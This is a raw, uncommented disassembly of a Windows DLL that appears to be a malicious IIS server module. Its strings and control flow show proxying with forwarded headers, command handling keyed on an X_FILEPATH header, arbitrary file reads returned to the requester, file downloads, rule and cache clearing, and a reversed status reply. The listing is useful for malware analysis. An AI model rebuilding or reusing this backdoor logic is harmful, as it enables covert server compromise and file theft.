lea rcx, [rsp + 0xd18]
call fcn.180001fd0
nop
mov r8, qword [rsp + 0x10c0]
cmp r8, 8
jb 0x1800040fe
inc r8
mov rdx, qword [rsp + 0x10a8]
lea rcx, [rsp + 0x10a8]
call fcn.18000a9c0
mov qword [rsp + 0x10b8], r13
mov qword [rsp + 0x10c0], 7
mov word [rsp + 0x10a8], r13w
jmp 0x1800047b2
test r12b, r12b
jne 0x180004174
mov qword [rsp + 0xe68], r13
mov qword [rsp + 0xe70], 7
mov word [rsp + 0xe58], r13w
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.8FN2PN2WEiu007cU
lea rcx, [rsp + 0xe58]
call fcn.180009fd0
or edi, 4
lea rdx, [rsp + 0xe58]
call fcn.180009010
test al, al
je 0x180004174
mov bl, 1
jmp 0x180004176
xor bl, bl
test dil, 4
je 0x1800041bf
mov r8, qword [rsp + 0xe70]
cmp r8, 8
jb 0x1800041a2
inc r8
mov rdx, qword [rsp + 0xe58]
lea rcx, [rsp + 0xe58]
call fcn.18000a9c0
mov qword [rsp + 0xe68], r13
mov qword [rsp + 0xe70], 7
mov word [rsp + 0xe58], r13w
test bl, bl
je 0x18000429d
mov qword [rsp + 0xe88], r13
mov qword [rsp + 0xe90], 7
mov word [rsp + 0xe78], r13w
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.8FN2PN2WEiu007cU
lea rcx, [rsp + 0xe78]
call fcn.180009fd0
nop
lea rbx, [0x18005aaa0]
mov qword [rsp + 0x40], rbx
mov rcx, rbx
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x48], 1
lea rdx, [rsp + 0xe78]
call fcn.180009c10
mov rdi, rax
mov rcx, rbx
call fcn.180019960
lea rax, [rsp + 0xd18]
cmp rax, rdi
je 0x180004255
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0xd18]
call fcn.180001fd0
nop
mov r8, qword [rsp + 0xe90]
cmp r8, 8
jb 0x18000427b
inc r8
mov rdx, qword [rsp + 0xe78]
lea rcx, [rsp + 0xe78]
call fcn.18000a9c0
mov qword [rsp + 0xe88], r13
mov qword [rsp + 0xe90], 7
mov word [rsp + 0xe78], r13w
jmp 0x1800047b2
lea r8, [rsp + 0xd58]
lea rdx, [rsp + 0xd78]
lea rcx, [rsp + 0x10c8]
call fcn.18000d270
nop
mov dword [rsp + 0x30], 3
lea rcx, [rsp + 0xcf8]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0xc78]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0xc98]
lea r8, [rsp + 0xd98]
mov rdx, rax
lea rcx, [rsp + 0x18c8]
call fcn.180011c30
mov rbx, rax
lea rax, [rsp + 0xd18]
cmp rax, rbx
je 0x180004340
lea rcx, [rsp + 0xd18]
call fcn.180001c80
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0xd18], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0xd28], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], send
mov byte [rbx], 0
lea rcx, [rsp + 0x18c8]
call fcn.180001c80
nop
mov r8, qword [rsp + 0x10e0]
cmp r8, 8
jb 0x180004374
inc r8
mov rdx, qword [rsp + 0x10c8]
lea rcx, [rsp + 0x10c8]
call fcn.18000a9c0
mov qword [rsp + 0x10d8], r13
mov qword [rsp + 0x10e0], 7
mov word [rsp + 0x10c8], r13w
cmp qword [rsp + 0xd28], 0
je 0x1800047c3
test r12b, r12b
je 0x18000443c
lea r8, [rsp + 0xd38]
lea rdx, [rsp + 0xc98]
lea rcx, [rsp + 0x10e8]
call fcn.18000d270
nop
mov rdx, rax
call fcn.180009130
lea rcx, [rsp + 0xd18]
cmp rax, rcx
je 0x1800043f4
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0xd18]
mov rcx, rax
call fcn.180001fd0
nop
mov r8, qword [rsp + 0x1100]
cmp r8, 8
jb 0x18000441a
inc r8
mov rdx, qword [rsp + 0x10e8]
lea rcx, [rsp + 0x10e8]
call fcn.18000a9c0
mov qword [rsp + 0x10f8], r13
mov qword [rsp + 0x1100], 7
mov word [rsp + 0x10e8], r13w
jmp 0x1800047b2
mov qword [rsp + 0xea8], r13
mov qword [rsp + 0xeb0], 7
mov word [rsp + 0xe98], r13w
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.8FN2PN2WEiu007cU
lea rcx, [rsp + 0xe98]
call fcn.180009fd0
nop
lea rbx, [0x18005aaa0]
mov qword [rsp + 0x40], rbx
mov rcx, rbx
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x48], 1
lea rdx, [rsp + 0xe98]
call fcn.180009c10
mov rdi, rax
mov rcx, rbx
call fcn.180019960
lea rax, [rsp + 0xd18]
cmp rdi, rax
je 0x1800044ca
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0xd18]
mov rcx, rdi
call fcn.180001fd0
nop
mov r8, qword [rsp + 0xeb0]
cmp r8, 8
jb 0x1800044f0
inc r8
mov rdx, qword [rsp + 0xe98]
lea rcx, [rsp + 0xe98]
call fcn.18000a9c0
mov qword [rsp + 0xea8], r13
mov qword [rsp + 0xeb0], 7
mov word [rsp + 0xe98], r13w
jmp 0x1800047b2
lea r8, [rsp + 0xd58]
lea rdx, [rsp + 0xd78]
lea rcx, [rsp + 0x1108]
call fcn.18000d270
nop
mov rdx, rax
lea rcx, [rsp + 0x18e8]
call fcn.180015aa0
nop
mov r8, rax
lea rdx, str.GetFromSource:
lea rcx, [rsp + 0x558]
call fcn.18000d200
mov rcx, rax
call fcn.1800153d0
nop
lea rcx, [rsp + 0x18e8]
call fcn.180001c80
nop
mov r8, qword [rsp + 0x1120]
cmp r8, 8
jb 0x180004595
inc r8
mov rdx, qword [rsp + 0x1108]
lea rcx, [rsp + 0x1108]
call fcn.18000a9c0
mov qword [rsp + 0x1118], r13
mov qword [rsp + 0x1120], 7
mov word [rsp + 0x1108], r13w
lea rdx, [rsp + 0xc98]
lea rcx, [rsp + 0x1908]
call fcn.180015aa0
nop
mov r8, rax
lea rdx, str.X_FORWARDED_HOST:
lea rcx, [rsp + 0x598]
call fcn.18000d200
mov rcx, rax
call fcn.1800153d0
nop
lea rcx, [rsp + 0x1908]
call fcn.180001c80
lea rdx, [rsp + 0xc78]
lea rcx, [rsp + 0x1928]
call fcn.180015aa0
nop
mov r8, rax
lea rdx, str.X_FORWARDED_FOR:
lea rcx, [rsp + 0x5d8]
call fcn.18000d200
mov rcx, rax
call fcn.1800153d0
nop
lea rcx, [rsp + 0x1928]
call fcn.180001c80
lea rdx, [rsp + 0xd98]
lea rcx, [rsp + 0x1948]
call fcn.180015aa0
nop
mov r8, rax
lea rdx, str.User_Agent:
lea rcx, [rsp + 0x618]
call fcn.18000d200
mov rcx, rax
call fcn.1800153d0
nop
lea rcx, [rsp + 0x1948]
call fcn.180001c80
lea rdx, [rsp + 0xcf8]
lea rcx, [rsp + 0x1968]
call fcn.180015aa0
nop
mov r8, rax
lea rdx, str.Referer:
lea rcx, [rsp + 0x658]
call fcn.18000d200
mov rcx, rax
call fcn.1800153d0
nop
lea rcx, [rsp + 0x1968]
call fcn.180001c80
lea r8, [rsp + 0xd58]
lea rdx, [rsp + 0xd78]
lea rcx, [rsp + 0x1128]
call fcn.18000d270
nop
mov dword [rsp + 0x30], 3
lea rcx, [rsp + 0xcf8]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0xc78]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0xc98]
lea r8, [rsp + 0xd98]
mov rdx, rax
lea rcx, [rsp + 0x1988]
call fcn.180011c30
mov rbx, rax
lea rax, [rsp + 0xd18]
cmp rax, rbx
je 0x180004761
lea rcx, [rsp + 0xd18]
call fcn.180001c80
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0xd18], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0xd28], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], send
mov byte [rbx], 0
lea rcx, [rsp + 0x1988]
call fcn.180001c80
nop
mov r8, qword [rsp + 0x1140]
cmp r8, 8
jb 0x180004795
inc r8
mov rdx, qword [rsp + 0x1128]
lea rcx, [rsp + 0x1128]
call fcn.18000a9c0
mov qword [rsp + 0x1138], r13
mov qword [rsp + 0x1140], 7
mov word [rsp + 0x1128], r13w
mov rdx, qword [rsp + 0xd28]
test rdx, rdx
jne 0x180004a5e
mov qword [rsp + 0x1d8], r13
mov qword [rsp + 0x1e0], socket
mov byte [rsp + 0x1c8], 0
mov r8d, socket
lea rdx, str.Source_Response_Empty_
lea rcx, [rsp + 0x1c8]
call fcn.180001d00
lea rcx, [rsp + 0x1c8]
call fcn.1800153d0
nop
lea rcx, [rsp + 0xd18]
call fcn.180001c80
nop
mov r8, qword [rsp + 0xd90]
cmp r8, 8
jb 0x18000483b
inc r8
mov rdx, qword [rsp + 0xd78]
lea rcx, [rsp + 0xd78]
call fcn.18000a9c0
mov qword [rsp + 0xd88], r13
mov qword [rsp + 0xd90], 7
mov word [rsp + 0xd78], r13w
mov r8, qword [rsp + 0xd50]
cmp r8, 8
jb 0x18000487e
inc r8
mov rdx, qword [rsp + 0xd38]
lea rcx, [rsp + 0xd38]
call fcn.18000a9c0
mov qword [rsp + 0xd48], r13
mov qword [rsp + 0xd50], 7
mov word [rsp + 0xd38], r13w
mov rbx, qword [rsp + 0x70]
test rbx, rbx
je 0x1800048ee
mov rdi, qword [rsp + 0x78]
cmp rbx, rdi
je 0x1800048c6
nop
mov rcx, rbx
call fcn.180009b10
add rbx, 0x40
cmp rbx, rdi
jne 0x1800048b0
mov rbx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x80]
sub r8, rbx
sar r8, 6
mov rdx, rbx
call fcn.18000a380
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], r13
mov r8, qword [rsp + 0xdb0]
cmp r8, 8
jb 0x180004914
inc r8
mov rdx, qword [rsp + 0xd98]
lea rcx, [rsp + 0xd98]
call fcn.18000a9c0
mov qword [rsp + 0xda8], r13
mov qword [rsp + 0xdb0], 7
mov word [rsp + 0xd98], r13w
mov r8, qword [rsp + 0xd10]
cmp r8, 8
jb 0x180004957
inc r8
mov rdx, qword [rsp + 0xcf8]
lea rcx, [rsp + 0xcf8]
call fcn.18000a9c0
mov word [rsp + 0xcf8], r13w
mov qword [rsp + 0xd10], 7
mov qword [rsp + 0xd08], r13
lea rcx, [rsp + 0xdd8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xdf8]
call fcn.180001c80
nop
mov r8, qword [rsp + 0xd70]
cmp r8, 8
jb 0x1800049b6
inc r8
mov rdx, qword [rsp + 0xd58]
lea rcx, [rsp + 0xd58]
call fcn.18000a9c0
mov word [rsp + 0xd58], r13w
mov qword [rsp + 0xd70], 7
mov qword [rsp + 0xd68], r13
mov r8, qword [rsp + 0xc90]
cmp r8, 8
jb 0x1800049f9
inc r8
mov rdx, qword [rsp + 0xc78]
lea rcx, [rsp + 0xc78]
call fcn.18000a9c0
mov qword [rsp + 0xc88], r13
mov qword [rsp + 0xc90], 7
mov word [rsp + 0xc78], r13w
mov r8, qword [rsp + 0xcb0]
cmp r8, 8
jb 0x180004a3c
inc r8
mov rdx, qword [rsp + 0xc98]
lea rcx, [rsp + 0xc98]
call fcn.18000a9c0
mov qword [rsp + 0xca8], r13
mov qword [rsp + 0xcb0], 7
mov word [rsp + 0xc98], r13w
jmp 0x180007f12
lea rcx, [rsp + 0x19a8]
call fcn.1800022e0
nop
mov r8, rax
lea rdx, str.Source_Response_Len:
lea rcx, [rsp + 0x6b8]
call fcn.18000d200
mov rcx, rax
call fcn.1800153d0
nop
lea rcx, [rsp + 0x19a8]
call fcn.180001c80
lea rax, [rsp + 0x148]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x158], r13
mov qword [rsp + 0x160], socket
mov byte [rsp + 0x148], 0
mov r8d, 4
lea rdx, str.html
lea rcx, [rsp + 0x148]
call fcn.180001d00
nop
mov qword [rsp + 0x178], r13
mov qword [rsp + 0x180], socket
mov byte [rsp + 0x168], 0
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0xd18]
lea rcx, [rsp + 0x168]
call fcn.180001fd0
nop
mov r9b, 1
lea r8, [rsp + 0x148]
lea rdx, [rsp + 0x168]
mov rcx, r14
call fcn.1800127c0
nop
lea rcx, [rsp + 0xd18]
call fcn.180001c80
nop
mov r8, qword [rsp + 0xd90]
cmp r8, 8
jb 0x180004b66
inc r8
mov rdx, qword [rsp + 0xd78]
lea rcx, [rsp + 0xd78]
call fcn.18000a9c0
mov qword [rsp + 0xd88], r13
mov qword [rsp + 0xd90], 7
mov word [rsp + 0xd78], r13w
mov r8, qword [rsp + 0xd50]
cmp r8, 8
jb 0x180004ba9
inc r8
mov rdx, qword [rsp + 0xd38]
lea rcx, [rsp + 0xd38]
call fcn.18000a9c0
mov qword [rsp + 0xd48], r13
mov qword [rsp + 0xd50], 7
mov word [rsp + 0xd38], r13w
mov rbx, qword [rsp + 0x70]
test rbx, rbx
je 0x180004c1e
mov rdi, qword [rsp + 0x78]
cmp rbx, rdi
je 0x180004bf6
nop word [rax + rax]
mov rcx, rbx
call fcn.180009b10
add rbx, 0x40
cmp rbx, rdi
jne 0x180004be0
mov rbx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x80]
sub r8, rbx
sar r8, 6
mov rdx, rbx
call fcn.18000a380
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], r13
mov r8, qword [rsp + 0xdb0]
cmp r8, 8
jb 0x180004c44
inc r8
mov rdx, qword [rsp + 0xd98]
lea rcx, [rsp + 0xd98]
call fcn.18000a9c0
mov qword [rsp + 0xda8], r13
mov qword [rsp + 0xdb0], 7
mov word [rsp + 0xd98], r13w
mov r8, qword [rsp + 0xd10]
cmp r8, 8
jb 0x180004c87
inc r8
mov rdx, qword [rsp + 0xcf8]
lea rcx, [rsp + 0xcf8]
call fcn.18000a9c0
mov qword [rsp + 0xd08], r13
mov qword [rsp + 0xd10], 7
mov word [rsp + 0xcf8], r13w
lea rcx, [rsp + 0xdd8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xdf8]
call fcn.180001c80
nop
mov r8, qword [rsp + 0xd70]
cmp r8, 8
jb 0x180004ce6
inc r8
mov rdx, qword [rsp + 0xd58]
lea rcx, [rsp + 0xd58]
call fcn.18000a9c0
mov qword [rsp + 0xd68], r13
mov qword [rsp + 0xd70], 7
mov word [rsp + 0xd58], r13w
mov r8, qword [rsp + 0xc90]
cmp r8, 8
jb 0x180004d29
inc r8
mov rdx, qword [rsp + 0xc78]
lea rcx, [rsp + 0xc78]
call fcn.18000a9c0
mov qword [rsp + 0xc88], r13
mov qword [rsp + 0xc90], 7
mov word [rsp + 0xc78], r13w
mov r8, qword [rsp + 0xcb0]
cmp r8, 8
jb 0x180004d6c
inc r8
mov rdx, qword [rsp + 0xc98]
lea rcx, [rsp + 0xc98]
call fcn.18000a9c0
mov qword [rsp + 0xca8], r13
mov qword [rsp + 0xcb0], 7
mov word [rsp + 0xc98], r13w
lea rcx, [rsp + 0xcd8]
call fcn.180001c80
mov eax, 2
jmp 0x180007f21
test rbx, rbx
je 0x180004dee
cmp rbx, r15
je 0x180004dc6
nop word [rax + rax]
mov rcx, rbx
call fcn.180009b10
add rbx, 0x40
cmp rbx, r15
jne 0x180004db0
mov rbx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x80]
sub r8, rbx
sar r8, 6
mov rdx, rbx
call fcn.18000a380
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], r13
mov r8, qword [rsp + 0xdb0]
cmp r8, 8
jb 0x180004e14
inc r8
mov rdx, qword [rsp + 0xd98]
lea rcx, [rsp + 0xd98]
call fcn.18000a9c0
mov qword [rsp + 0xda8], r13
mov qword [rsp + 0xdb0], 7
mov word [rsp + 0xd98], r13w
mov r8, qword [rsp + 0xd10]
jmp 0x180004e3e
xor r13d, r13d
jmp 0x180004939
xor r13d, r13d
jmp 0x180004990
xor r15d, r15d
mov qword [rsp + 0xcc8], r15
mov qword [rsp + 0xcd0], 0xf
mov byte [rsp + 0xcb8], r15b
cmp dword [rsp + 0x50], r15d
je 0x180004ed1
mov rdx, rdi
lea rcx, [rsp + 0x19c8]
call fcn.180012aa0
mov rbx, rax
lea rax, [rsp + 0xcb8]
cmp rax, rbx
je 0x180004ec4
lea rcx, [rsp + 0xcb8]
call fcn.180001c80
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0xcb8], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0xcc8], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], send
mov byte [rbx], r15b
lea rcx, [rsp + 0x19c8]
call fcn.180001c80
mov qword [rsp + 0x1298], r15
mov qword [rsp + 0x12a0], 0xf
mov byte [rsp + 0x1288], 0
or r8, 0xffffffffffffffff
inc r8
cmp byte [r12 + r8], 0
jne 0x180004ef1
mov rdx, r12
lea rcx, [rsp + 0x1288]
call fcn.180001d00
nop
lea rdx, [rsp + 0x1288]
call fcn.180008f20
mov ebx, dword [rax]
lea rcx, [rsp + 0x1288]
call fcn.180001c80
add ebx, 0xffffff9c
cmp ebx, 0x13
ja case.default.0x180004f48
movsxd rax, ebx
lea rdx, [0x180000000]
mov ecx, dword [rdx + rax*4 + 0x7f50]
add rcx, rdx
jmp rcx
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x1b8], r15
mov qword [rsp + 0x1c0], socket
mov byte [rsp + 0x1a8], 0
mov r8d, 6
lea rdx, str.stream
lea rcx, [rsp + 0x1a8]
call fcn.180001d00
nop
lea rdx, [0x18005aa38]
lea rcx, [rsp + 0x718]
call fcn.1800154e0
nop
mov r9b, 1
lea r8, [rsp + 0x1a8]
mov rdx, rax
mov rcx, r14
call fcn.1800127c0
mov qword [rsp + 0x198], r15
mov qword [rsp + 0x1a0], socket
mov byte [rsp + 0x188], 0
xor r8d, r8d
lea rdx, [0x18004d8c8]
lea rcx, [rsp + 0x188]
call fcn.180001d00
lea r8, [rsp + 0x188]
mov edx, 1
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0xcb8]
call fcn.180001c80
nop
mov r8, qword [rsp + 0xc90]
cmp r8, 8
jb 0x180005036
inc r8
mov rdx, qword [rsp + 0xc78]
lea rcx, [rsp + 0xc78]
call fcn.18000a9c0
mov qword [rsp + 0xc88], r15
mov qword [rsp + 0xc90], 7
mov word [rsp + 0xc78], r15w
lea rcx, [rsp + 0xc98]
call fcn.180009730
nop
lea rcx, [rsp + 0xcd8]
call fcn.180001c80
mov eax, 2
jmp 0x180007f21
call fcn.180015ff0
lea rax, [rsp + 0xc38]
mov qword [rsp + 0x40], rax
lea rdx, str.stream
lea rcx, [rsp + 0xc38]
call fcn.180001c10
mov rbx, rax
lea rcx, [rsp + 0x1be8]
call fcn.180015bb0
nop
mov rdx, rax
lea rcx, [rsp + 0x758]
call fcn.1800154e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.1800127c0
nop
lea rcx, [rsp + 0x1be8]
call fcn.180001c80
lea rcx, [rsp + 0x778]
lea rdx, [0x18004d8c8]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0xcb8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc78]
call fcn.180009730
jmp 0x180005053
call fcn.180016510
lea rcx, [0x18005aaa8]
call fcn.180009240
lea rcx, [0x18005aac0]
call fcn.180009240
lea rax, [rsp + 0x798]
mov qword [rsp + 0x40], rax
lea rdx, str.stream
lea rcx, [rsp + 0x798]
call fcn.180001c10
mov rbx, rax
lea rcx, [rsp + 0x1b68]
call fcn.180016e30
nop
mov rdx, rax
lea rcx, [rsp + 0x7b8]
call fcn.1800154e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.1800127c0
nop
lea rcx, [rsp + 0x1b68]
call fcn.180001c80
lea rcx, [rsp + 0x7d8]
jmp 0x1800050e7
call fcn.180009450
lea rdx, str.Proxy
lea rcx, [rsp + 0x1428]
call fcn.1800097e0
nop
lea rcx, [rsp + 0x1428]
call fcn.180017c90
nop
lea rcx, [rsp + 0x1428]
call fcn.180009730
lea rax, [rsp + 0x7f8]
mov qword [rsp + 0x40], rax
lea rdx, str.Clear_Rules_Success_
lea rcx, [rsp + 0x1448]
call fcn.180001c10
nop
lea rdx, str.stream
lea rcx, [rsp + 0x7f8]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x1448]
lea rcx, [rsp + 0x818]
call fcn.1800154e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.1800127c0
nop
lea rcx, [rsp + 0x1448]
call fcn.180001c80
lea rcx, [rsp + 0x838]
jmp 0x1800050e7
call fcn.1800090c0
lea rax, [rsp + 0x858]
mov qword [rsp + 0x40], rax
lea rdx, str.Clear_Cache_Success_
lea rcx, [rsp + 0x1468]
call fcn.180001c10
nop
lea rdx, str.stream
lea rcx, [rsp + 0x858]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x1468]
lea rcx, [rsp + 0x878]
call fcn.1800154e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.1800127c0
nop
lea rcx, [rsp + 0x1468]
call fcn.180001c80
lea rcx, [rsp + 0x898]
jmp 0x1800050e7
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_FILEPATH
mov rcx, rdi
call qword [rax + 0x18]
test rax, rax
je case.default.0x180004f48
mov rdx, rax
lea rcx, [rsp + 0xf08]
call fcn.180001c10
nop
cmp qword [rsp + 0xf18], 0
jne 0x18000534c
lea rdx, str.Filepath_can_not_be_empty_
lea rcx, [rsp + 0x8b8]
call fcn.180001c10
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0xf08]
call fcn.180001c80
jmp 0x180005104
lea rdx, [rsp + 0xf08]
lea rcx, [rsp + 0x12a8]
call fcn.180015990
nop
lea rcx, [rsp + 0x12a8]
call fcn.1800096f0
mov rcx, rax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1800054c6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x1a68]
call fcn.1800022c0
mov rdi, rax
or edx, ebx
lea rcx, [rsp + 0x1a48]
call fcn.1800022a0
mov rbx, rax
lea r8, [rsp + 0xf08]
lea rdx, str.Read_file
lea rcx, [rsp + 0x21e8]
call fcn.18000d100
nop
lea r8, str._error___handle
mov rdx, rax
lea rcx, [rsp + 0x2048]
call fcn.18000d460
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1fa8]
call fcn.18000d4d0
nop
lea r8, str._error_number
mov rdx, rax
lea rcx, [rsp + 0x1d68]
call fcn.18000d460
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x8d8]
call fcn.18000d4d0
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0x1d68]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1fa8]
call fcn.180001c80
nop
lea rcx, [rsp + 0x2048]
call fcn.180001c80
nop
lea rcx, [rsp + 0x21e8]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1a48]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1a68]
call fcn.180001c80
nop
lea rcx, [rsp + 0x12a8]
call fcn.180009730
nop
lea rcx, [rsp + 0xf08]
call fcn.180001c80
jmp 0x180005104
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov ecx, eax
call fcn.180021138
mov rdi, rax
mov rcx, rbx
test rax, rax
jne 0x18000550e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.malloc_memory_error_
lea rcx, [rsp + 0x8f8]
call fcn.180001c10
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012610
jmp 0x1800054a6
mov dword [rsp + 0x68], r15d
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x68]
mov r8d, esi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x180005644
lea edx, [rax + 1]
mov rcx, rdi
call fcn.18001b4f0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x1d28]
call fcn.1800022c0
mov rdi, rax
mov edx, ebx
lea rcx, [rsp + 0x1d08]
call fcn.1800022a0
mov rbx, rax
lea r8, [rsp + 0xf08]
lea rdx, str.Read_file
lea rcx, [rsp + 0x1cc8]
call fcn.18000d100
nop
lea r8, str._error___handle
mov rdx, rax
lea rcx, [rsp + 0x1ca8]
call fcn.18000d460
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1c88]
call fcn.18000d4d0
nop
lea r8, str._error_number
mov rdx, rax
lea rcx, [rsp + 0x1c28]
call fcn.18000d460
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x918]
call fcn.18000d4d0
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0x1c28]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1c88]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1ca8]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1cc8]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1d08]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1d28]
jmp 0x1800054a0
lea rcx, [rsp + 0x1388]
call fcn.180001c50
nop
mov r8d, dword [rsp + 0x68]
mov rdx, rdi
lea rcx, [rsp + 0x1388]
call fcn.180009920
mov edx, 1
mov rcx, rdi
call fcn.18001b4f0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x938]
mov qword [rsp + 0x40], rax
lea rdx, str.stream
lea rcx, [rsp + 0x938]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x1388]
lea rcx, [rsp + 0x958]
call fcn.1800154e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.1800127c0
mov edx, dword [rsp + 0x68]
lea rcx, [rsp + 0x2088]
call fcn.1800022c0
nop
mov r8, rax
lea rdx, str.Read_length:
lea rcx, [rsp + 0x978]
call fcn.18000d200
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0x2088]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1388]
jmp 0x1800054a0
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_FILEPATH
mov rcx, rdi
call qword [rax + 0x18]
test rax, rax
je case.default.0x180004f48
mov rdx, rax
lea rcx, [rsp + 0x1328]
call fcn.180001c10
nop
cmp qword [rsp + 0x1338], 0
jne 0x180005784
lea rdx, str.Filepath_can_not_be_empty_
lea rcx, [rsp + 0x998]
call fcn.180001c10
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0x1328]
jmp 0x1800054bc
lea rcx, [rsp + 0x1308]
call fcn.180001c50
nop
lea r8, [rsp + 0x1328]
lea rdx, str.DOWNFILE_
lea rcx, [rsp + 0x1a28]
call fcn.18000d100
nop
mov rdx, rax
lea rcx, [rsp + 0x2428]
call fcn.1800154e0
nop
mov r8d, 0x2710
lea rdx, [rsp + 0x1308]
mov rcx, rax
call fcn.180017de0
nop
lea rcx, [rsp + 0x2428]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1a28]
call fcn.180001c80
lea rax, [rsp + 0x9b8]
mov qword [rsp + 0x40], rax
lea rdx, str.stream
lea rcx, [rsp + 0x9b8]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x1308]
lea rcx, [rsp + 0x9d8]
call fcn.180009ad0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.1800127c0
mov rdx, qword [rsp + 0x1318]
lea rcx, [rsp + 0x1b08]
call fcn.1800022e0
nop
mov r8, rax
lea rdx, str.Read_length:
lea rcx, [rsp + 0x738]
call fcn.18000d200
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0x1b08]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1308]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1328]
jmp 0x1800054bc
lea rax, [rsp + 0x9f8]
mov qword [rsp + 0x40], rax
lea rdx, str.enif_smees_llA__syas_groeG
lea rcx, [rsp + 0x1488]
call fcn.180001c10
nop
lea rdx, str.stream
lea rcx, [rsp + 0x9f8]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x1488]
lea rcx, [rsp + 0x1c08]
call fcn.180015800
nop
mov rdx, rax
lea rcx, [rsp + 0xa18]
call fcn.1800154e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.1800127c0
nop
lea rcx, [rsp + 0x1c08]
